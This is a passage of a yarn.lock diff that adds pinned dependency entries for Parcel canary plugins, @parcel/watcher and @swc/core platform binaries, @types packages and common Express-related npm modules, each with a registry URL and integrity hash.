+  resolved "https://registry.yarnpkg.com/@parcel/transformer-react-refresh-wrap/-/transformer-react-refresh-wrap-2.0.0-canary.1778.tgz#92249148709770a741a08163d6bf75973ab2f7b0"
+  integrity sha512-SgdnIAsY2s2FUcBwj3A2ME3C3WcLtPnmpQZBHk8pBIzBXmx98DABkPgneMdtsmoPg5RpSRsLba1ThFz1GeaBsw==
+  dependencies:
+    "@parcel/error-overlay" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    react-refresh ">=0.9 <=0.16"
+
+"@parcel/transformer-svg@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/transformer-svg/-/transformer-svg-2.13.4-canary.3401.tgz#22d19f3666d8074a9f229647a89c41ced2150cfa"
+  integrity sha512-R+ki+rqxrzKg26fTZJjn36Sm08AdANs0k/lY0YXql+T2Z5VU7pGZk2iKhJGZ7zDfP10PcDopjuqDPhn7Zhl8vg==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/plugin" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    nullthrows "^1.1.1"
+    posthtml "^0.16.5"
+    posthtml-parser "^0.12.1"
+    posthtml-render "^3.0.0"
+    semver "^7.5.2"
+
+"@parcel/types-internal@2.13.4-canary.3401+b50bc79cb":
+  version "2.13.4-canary.3401"
+  resolved "https://registry.yarnpkg.com/@parcel/types-internal/-/types-internal-2.13.4-canary.3401.tgz#44c26df4f75647447e320e9fa5882df00b01fd18"
+  integrity sha512-hkEaw3Z1kWvamzRi3h0Ps6aUYqj8v00CaZrrjZhgpXW/UfaLJbjFJj9DghQsWJQTNGk5eWRb947Fjsqsc0C8ZQ==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/feature-flags" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    utility-types "^3.10.0"
+
+"@parcel/types@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/types/-/types-2.0.0-canary.1778.tgz#dba6015d85df3a69b925e5226809122828fa9792"
+  integrity sha512-nY3TjmAaq9/xXGElTy9JCm2sNleXSAHuvtjesYaM2cFofsv1q2MdIYTEIRHLmnRBjBxwuFg8LHLC7t1HaF5DuQ==
+  dependencies:
+    "@parcel/types-internal" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/workers" "2.0.0-canary.1778+b50bc79cb"
+
+"@parcel/utils@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/utils/-/utils-2.0.0-canary.1778.tgz#9576774350acc413ec8170acafb283ffcf517af4"
+  integrity sha512-YphS0Gf32ZXKEtEUNVjNKMOA3eZFGLAbREr+smhS0TuVCwEfql4Im0lUKf6jVm/H9jcbx5bEG/sevNI45nzC6Q==
+  dependencies:
+    "@parcel/codeframe" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/logger" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/markdown-ansi" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/rust" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/source-map" "^2.1.1"
+    chalk "^4.1.2"
+    nullthrows "^1.1.1"
+
+"@parcel/watcher-android-arm64@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz#507f836d7e2042f798c7d07ad19c3546f9848ac1"
+  integrity sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==
+
+"@parcel/watcher-darwin-arm64@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz#3d26dce38de6590ef79c47ec2c55793c06ad4f67"
+  integrity sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==
+
+"@parcel/watcher-darwin-x64@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz#99f3af3869069ccf774e4ddfccf7e64fd2311ef8"
+  integrity sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==
+
+"@parcel/watcher-freebsd-x64@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz#14d6857741a9f51dfe51d5b08b7c8afdbc73ad9b"
+  integrity sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==
+
+"@parcel/watcher-linux-arm-glibc@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz#43c3246d6892381db473bb4f663229ad20b609a1"
+  integrity sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==
+
+"@parcel/watcher-linux-arm-musl@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz#663750f7090bb6278d2210de643eb8a3f780d08e"
+  integrity sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==
+
+"@parcel/watcher-linux-arm64-glibc@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz#ba60e1f56977f7e47cd7e31ad65d15fdcbd07e30"
+  integrity sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==
+
+"@parcel/watcher-linux-arm64-musl@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz#f7fbcdff2f04c526f96eac01f97419a6a99855d2"
+  integrity sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==
+
+"@parcel/watcher-linux-x64-glibc@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz#4d2ea0f633eb1917d83d483392ce6181b6a92e4e"
+  integrity sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==
+
+"@parcel/watcher-linux-x64-musl@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz#277b346b05db54f55657301dd77bdf99d63606ee"
+  integrity sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==
+
+"@parcel/watcher-win32-arm64@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz#7e9e02a26784d47503de1d10e8eab6cceb524243"
+  integrity sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==
+
+"@parcel/watcher-win32-ia32@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz#2d0f94fa59a873cdc584bf7f6b1dc628ddf976e6"
+  integrity sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==
+
+"@parcel/watcher-win32-x64@2.5.1":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz#ae52693259664ba6f2228fa61d7ee44b64ea0947"
+  integrity sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==
+
+"@parcel/watcher@^2.0.7":
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/@parcel/watcher/-/watcher-2.5.1.tgz#342507a9cfaaf172479a882309def1e991fb1200"
+  integrity sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==
+  dependencies:
+    detect-libc "^1.0.3"
+    is-glob "^4.0.3"
+    micromatch "^4.0.5"
+    node-addon-api "^7.0.0"
+  optionalDependencies:
+    "@parcel/watcher-android-arm64" "2.5.1"
+    "@parcel/watcher-darwin-arm64" "2.5.1"
+    "@parcel/watcher-darwin-x64" "2.5.1"
+    "@parcel/watcher-freebsd-x64" "2.5.1"
+    "@parcel/watcher-linux-arm-glibc" "2.5.1"
+    "@parcel/watcher-linux-arm-musl" "2.5.1"
+    "@parcel/watcher-linux-arm64-glibc" "2.5.1"
+    "@parcel/watcher-linux-arm64-musl" "2.5.1"
+    "@parcel/watcher-linux-x64-glibc" "2.5.1"
+    "@parcel/watcher-linux-x64-musl" "2.5.1"
+    "@parcel/watcher-win32-arm64" "2.5.1"
+    "@parcel/watcher-win32-ia32" "2.5.1"
+    "@parcel/watcher-win32-x64" "2.5.1"
+
+"@parcel/workers@2.0.0-canary.1778+b50bc79cb":
+  version "2.0.0-canary.1778"
+  resolved "https://registry.yarnpkg.com/@parcel/workers/-/workers-2.0.0-canary.1778.tgz#d305d65146b31028fd29390b6a1c2fcfdeeef122"
+  integrity sha512-AIu7JRGzyM8V+OsV/7qk/zcwFktMhvyhvEX0vzR6KtO77/pVZwmUS7N+TuCZu/Oe6QEz2VaODK7Y3eeR1PHTGw==
+  dependencies:
+    "@parcel/diagnostic" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/logger" "2.0.0-canary.1778+b50bc79cb"
+    "@parcel/profiler" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/types-internal" "2.13.4-canary.3401+b50bc79cb"
+    "@parcel/utils" "2.0.0-canary.1778+b50bc79cb"
+    nullthrows "^1.1.1"
+
+"@swc/core-darwin-arm64@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-darwin-arm64/-/core-darwin-arm64-1.10.12.tgz#ed317cd6aac5a66f529c0cbd8385761e2eccecc6"
+  integrity sha512-pOANQegUTAriW7jq3SSMZGM5l89yLVMs48R0F2UG6UZsH04SiViCnDctOGlA/Sa++25C+rL9MGMYM1jDLylBbg==
+
+"@swc/core-darwin-x64@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-darwin-x64/-/core-darwin-x64-1.10.12.tgz#59e249f40852231232b80f6a4caea2a223e9682e"
+  integrity sha512-m4kbpIDDsN1FrwfNQMU+FTrss356xsXvatLbearwR+V0lqOkjLBP0VmRvQfHEg+uy13VPyrT9gj4HLoztlci7w==
+
+"@swc/core-linux-arm-gnueabihf@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.10.12.tgz#5c2066a6ad8b768adc473e300995f909ce96cbbd"
+  integrity sha512-OY9LcupgqEu8zVK+rJPes6LDJJwPDmwaShU96beTaxX2K6VrXbpwm5WbPS/8FfQTsmpnuA7dCcMPUKhNgmzTrQ==
+
+"@swc/core-linux-arm64-gnu@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.10.12.tgz#7a8e6212617365c41a7b6e015cd2749d222c1ebe"
+  integrity sha512-nJD587rO0N4y4VZszz3xzVr7JIiCzSMhEMWnPjuh+xmPxDBz0Qccpr8xCr1cSxpl1uY7ERkqAGlKr6CwoV5kVg==
+
+"@swc/core-linux-arm64-musl@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.10.12.tgz#c939d554ecb32df65b4a784fc586f30c8ae7be0a"
+  integrity sha512-oqhSmV+XauSf0C//MoQnVErNUB/5OzmSiUzuazyLsD5pwqKNN+leC3JtRQ/QVzaCpr65jv9bKexT9+I2Tt3xDw==
+
+"@swc/core-linux-x64-gnu@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.10.12.tgz#745bc25de364bbde3b6240ed84d063379dc52c6c"
+  integrity sha512-XldSIHyjD7m1Gh+/8rxV3Ok711ENLI420CU2EGEqSe3VSGZ7pHJvJn9ZFbYpWhsLxPqBYMFjp3Qw+J6OXCPXCA==
+
+"@swc/core-linux-x64-musl@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.10.12.tgz#188855ee612a482eb8c298b2237e0b36962182a7"
+  integrity sha512-wvPXzJxzPgTqhyp1UskOx1hRTtdWxlyFD1cGWOxgLsMik0V9xKRgqKnMPv16Nk7L9xl6quQ6DuUHj9ID7L3oVw==
+
+"@swc/core-win32-arm64-msvc@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.10.12.tgz#3f8271b8a42ef29b53574705a6cd0427345cc616"
+  integrity sha512-TUYzWuu1O7uyIcRfxdm6Wh1u+gNnrW5M1DUgDOGZLsyQzgc2Zjwfh2llLhuAIilvCVg5QiGbJlpibRYJ/8QGsg==
+
+"@swc/core-win32-ia32-msvc@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.10.12.tgz#b7f59376870039f6a7ecc5331b4287f0fa82b182"
+  integrity sha512-4Qrw+0Xt+Fe2rz4OJ/dEPMeUf/rtuFWWAj/e0vL7J5laUHirzxawLRE5DCJLQTarOiYR6mWnmadt9o3EKzV6Xg==
+
+"@swc/core-win32-x64-msvc@1.10.12":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.10.12.tgz#e053b1efc2bf24b0da1a1fa6a5ea6e1bda36df76"
+  integrity sha512-YiloZXLW7rUxJpALwHXaGjVaAEn+ChoblG7/3esque+Y7QCyheoBUJp2DVM1EeVA43jBfZ8tvYF0liWd9Tpz1A==
+
+"@swc/core@^1.10.7":
+  version "1.10.12"
+  resolved "https://registry.yarnpkg.com/@swc/core/-/core-1.10.12.tgz#6d002050814888ec72a8d439ca7194a4631ce199"
+  integrity sha512-+iUL0PYpPm6N9AdV1wvafakvCqFegQus1aoEDxgFsv3/uNVNIyRaupf/v/Zkp5hbep2EzhtoJR0aiJIzDbXWHg==
+  dependencies:
+    "@swc/counter" "^0.1.3"
+    "@swc/types" "^0.1.17"
+  optionalDependencies:
+    "@swc/core-darwin-arm64" "1.10.12"
+    "@swc/core-darwin-x64" "1.10.12"
+    "@swc/core-linux-arm-gnueabihf" "1.10.12"
+    "@swc/core-linux-arm64-gnu" "1.10.12"
+    "@swc/core-linux-arm64-musl" "1.10.12"
+    "@swc/core-linux-x64-gnu" "1.10.12"
+    "@swc/core-linux-x64-musl" "1.10.12"
+    "@swc/core-win32-arm64-msvc" "1.10.12"
+    "@swc/core-win32-ia32-msvc" "1.10.12"
+    "@swc/core-win32-x64-msvc" "1.10.12"
+
+"@swc/counter@^0.1.3":
+  version "0.1.3"
+  resolved "https://registry.yarnpkg.com/@swc/counter/-/counter-0.1.3.tgz#cc7463bd02949611c6329596fccd2b0ec782b0e9"
+  integrity sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==
+
+"@swc/helpers@^0.5.0":
+  version "0.5.15"
+  resolved "https://registry.yarnpkg.com/@swc/helpers/-/helpers-0.5.15.tgz#79efab344c5819ecf83a43f3f9f811fc84b516d7"
+  integrity sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==
+  dependencies:
+    tslib "^2.8.0"
+
+"@swc/types@^0.1.17":
+  version "0.1.17"
+  resolved "https://registry.yarnpkg.com/@swc/types/-/types-0.1.17.tgz#bd1d94e73497f27341bf141abdf4c85230d41e7c"
+  integrity sha512-V5gRru+aD8YVyCOMAjMpWR1Ui577DD5KSJsHP8RAxopAH22jFz6GZd/qxqjO6MJHQhcsjvjOFXyDhyLQUnMveQ==
+  dependencies:
+    "@swc/counter" "^0.1.3"
+
+"@types/body-parser@*":
+  version "1.19.5"
+  resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.5.tgz#04ce9a3b677dc8bd681a17da1ab9835dc9d3ede4"
+  integrity sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==
+  dependencies:
+    "@types/connect" "*"
+    "@types/node" "*"
+
+"@types/connect@*":
+  version "3.4.38"
+  resolved "https://registry.yarnpkg.com/@types/connect/-/connect-3.4.38.tgz#5ba7f3bc4fbbdeaff8dded952e5ff2cc53f8d858"
+  integrity sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==
+  dependencies:
+    "@types/node" "*"
+
+"@types/express-serve-static-core@^5.0.0":
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-5.0.2.tgz#812d2871e5eea17fb0bd5214dda7a7b748c0e12a"
+  integrity sha512-vluaspfvWEtE4vcSDlKRNer52DvOGrB2xv6diXy6UKyKW0lqZiWHGNApSyxOv+8DE5Z27IzVvE7hNkxg7EXIcg==
+  dependencies:
+    "@types/node" "*"
+    "@types/qs" "*"
+    "@types/range-parser" "*"
+    "@types/send" "*"
+
+"@types/express@*":
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-5.0.0.tgz#13a7d1f75295e90d19ed6e74cab3678488eaa96c"
+  integrity sha512-DvZriSMehGHL1ZNLzi6MidnsDhUZM/x2pRdDIKdwbUNqqwHxMlRdkxtn6/EPKyqKpHqTl/4nRZsRNLpZxZRpPQ==
+  dependencies:
+    "@types/body-parser" "*"
+    "@types/express-serve-static-core" "^5.0.0"
+    "@types/qs" "*"
+    "@types/serve-static" "*"
+
+"@types/http-errors@*":
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/@types/http-errors/-/http-errors-2.0.4.tgz#7eb47726c391b7345a6ec35ad7f4de469cf5ba4f"
+  integrity sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==
+
+"@types/mime@^1":
+  version "1.3.5"
+  resolved "https://registry.yarnpkg.com/@types/mime/-/mime-1.3.5.tgz#1ef302e01cf7d2b5a0fa526790c9123bf1d06690"
+  integrity sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==
+
+"@types/node@*", "@types/node@^22.10.1":
+  version "22.10.2"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.10.2.tgz#a485426e6d1fdafc7b0d4c7b24e2c78182ddabb9"
+  integrity sha512-Xxr6BBRCAOQixvonOye19wnzyDiUtTeqldOOmj3CkeblonbccA12PFwlufvRdrpjXxqnmUaeiU5EOA+7s5diUQ==
+  dependencies:
+    undici-types "~6.20.0"
+
+"@types/parcel-env@^0.0.6":
+  version "0.0.6"
+  resolved "https://registry.yarnpkg.com/@types/parcel-env/-/parcel-env-0.0.6.tgz#6432ed891bf178e39582b906b396c72c72179099"
+  integrity sha512-HlPNbKhUe+0xVqzeqttl/gFC27dUZCjrUSI6MlfGoudjCtNeVOwm2kmDalkfXVWXsj4NJ4oa0PO3SdtOdGaGDg==
+
+"@types/qs@*":
+  version "6.9.17"
+  resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.17.tgz#fc560f60946d0aeff2f914eb41679659d3310e1a"
+  integrity sha512-rX4/bPcfmvxHDv0XjfJELTTr+iB+tn032nPILqHm5wbthUUUuVtNGGqzhya9XUxjTP8Fpr0qYgSZZKxGY++svQ==
+
+"@types/range-parser@*":
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/@types/range-parser/-/range-parser-1.2.7.tgz#50ae4353eaaddc04044279812f52c8c65857dbcb"
+  integrity sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==
+
+"@types/react-dom@^19":
+  version "19.0.2"
+  resolved "https://registry.yarnpkg.com/@types/react-dom/-/react-dom-19.0.2.tgz#ad21f9a1ee881817995fd3f7fd33659c87e7b1b7"
+  integrity sha512-c1s+7TKFaDRRxr1TxccIX2u7sfCnc3RxkVyBIUA2lCpyqCF+QoAwQ/CBg7bsMdVwP120HEH143VQezKtef5nCg==
+
+"@types/react@^19":
+  version "19.0.1"
+  resolved "https://registry.yarnpkg.com/@types/react/-/react-19.0.1.tgz#a000d5b78f473732a08cecbead0f3751e550b3df"
+  integrity sha512-YW6614BDhqbpR5KtUYzTA+zlA7nayzJRA9ljz9CQoxthR0sDisYZLuvSMsil36t4EH/uAt8T52Xb4sVw17G+SQ==
+  dependencies:
+    csstype "^3.0.2"
+
+"@types/send@*":
+  version "0.17.4"
+  resolved "https://registry.yarnpkg.com/@types/send/-/send-0.17.4.tgz#6619cd24e7270793702e4e6a4b958a9010cfc57a"
+  integrity sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==
+  dependencies:
+    "@types/mime" "^1"
+    "@types/node" "*"
+
+"@types/serve-static@*":
+  version "1.15.7"
+  resolved "https://registry.yarnpkg.com/@types/serve-static/-/serve-static-1.15.7.tgz#22174bbd74fb97fe303109738e9b5c2f3064f714"
+  integrity sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==
+  dependencies:
+    "@types/http-errors" "*"
+    "@types/node" "*"
+    "@types/send" "*"
+
+accepts@~1.3.8:
+  version "1.3.8"
+  resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.8.tgz#0bf0be125b67014adcb0b0921e62db7bffe16b2e"
+  integrity sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==
+  dependencies:
+    mime-types "~2.1.34"
+    negotiator "0.6.3"
+
+ansi-html-community@0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz#69fbc4d6ccbe383f9736934ae34c3f8290f1bf41"
+  integrity sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-styles@^4.0.0, ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+argparse@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
+  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
+
+array-flatten@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
+  integrity sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==
+
+base-x@^3.0.8:
+  version "3.0.10"
+  resolved "https://registry.yarnpkg.com/base-x/-/base-x-3.0.10.tgz#62de58653f8762b5d6f8d9fe30fa75f7b2585a75"
+  integrity sha512-7d0s06rR9rYaIWHkpfLIFICM/tkSVdoPC9qYAQRpxn9DdKNWNsKC0uk++akckyLq16Tx2WIinnZ6WRriAt6njQ==
+  dependencies:
+    safe-buffer "^5.0.1"
+
+body-parser@1.20.3:
+  version "1.20.3"
+  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.3.tgz#1953431221c6fb5cd63c4b36d53fab0928e548c6"
+  integrity sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==
+  dependencies:
+    bytes "3.1.2"
+    content-type "~1.0.5"
+    debug "2.6.9"
+    depd "2.0.0"
+    destroy "1.2.0"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    on-finished "2.4.1"
+    qs "6.13.0"
+    raw-body "2.5.2"
+    type-is "~1.6.18"
+    unpipe "1.0.0"
+
+braces@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
+  integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
+  dependencies:
+    fill-range "^7.1.1"
+
+browserslist@^4.6.6:
+  version "4.24.2"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.2.tgz#f5845bc91069dbd55ee89faf9822e1d885d16580"
+  integrity sha512-ZIc+Q62revdMcqC6aChtW4jz3My3klmCO1fEmINZY/8J3EpBg5/A/D0AKmBveUh6pgoeycoMkVMko84tuYS+Gg==
+  dependencies:
+    caniuse-lite "^1.0.30001669"
+    electron-to-chromium "^1.5.41"
+    node-releases "^2.0.18"
+    update-browserslist-db "^1.1.1"
+
+bytes@3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5"
+  integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==
+
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz#32e5892e6361b29b0b545ba6f7763378daca2840"
+  integrity sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c"
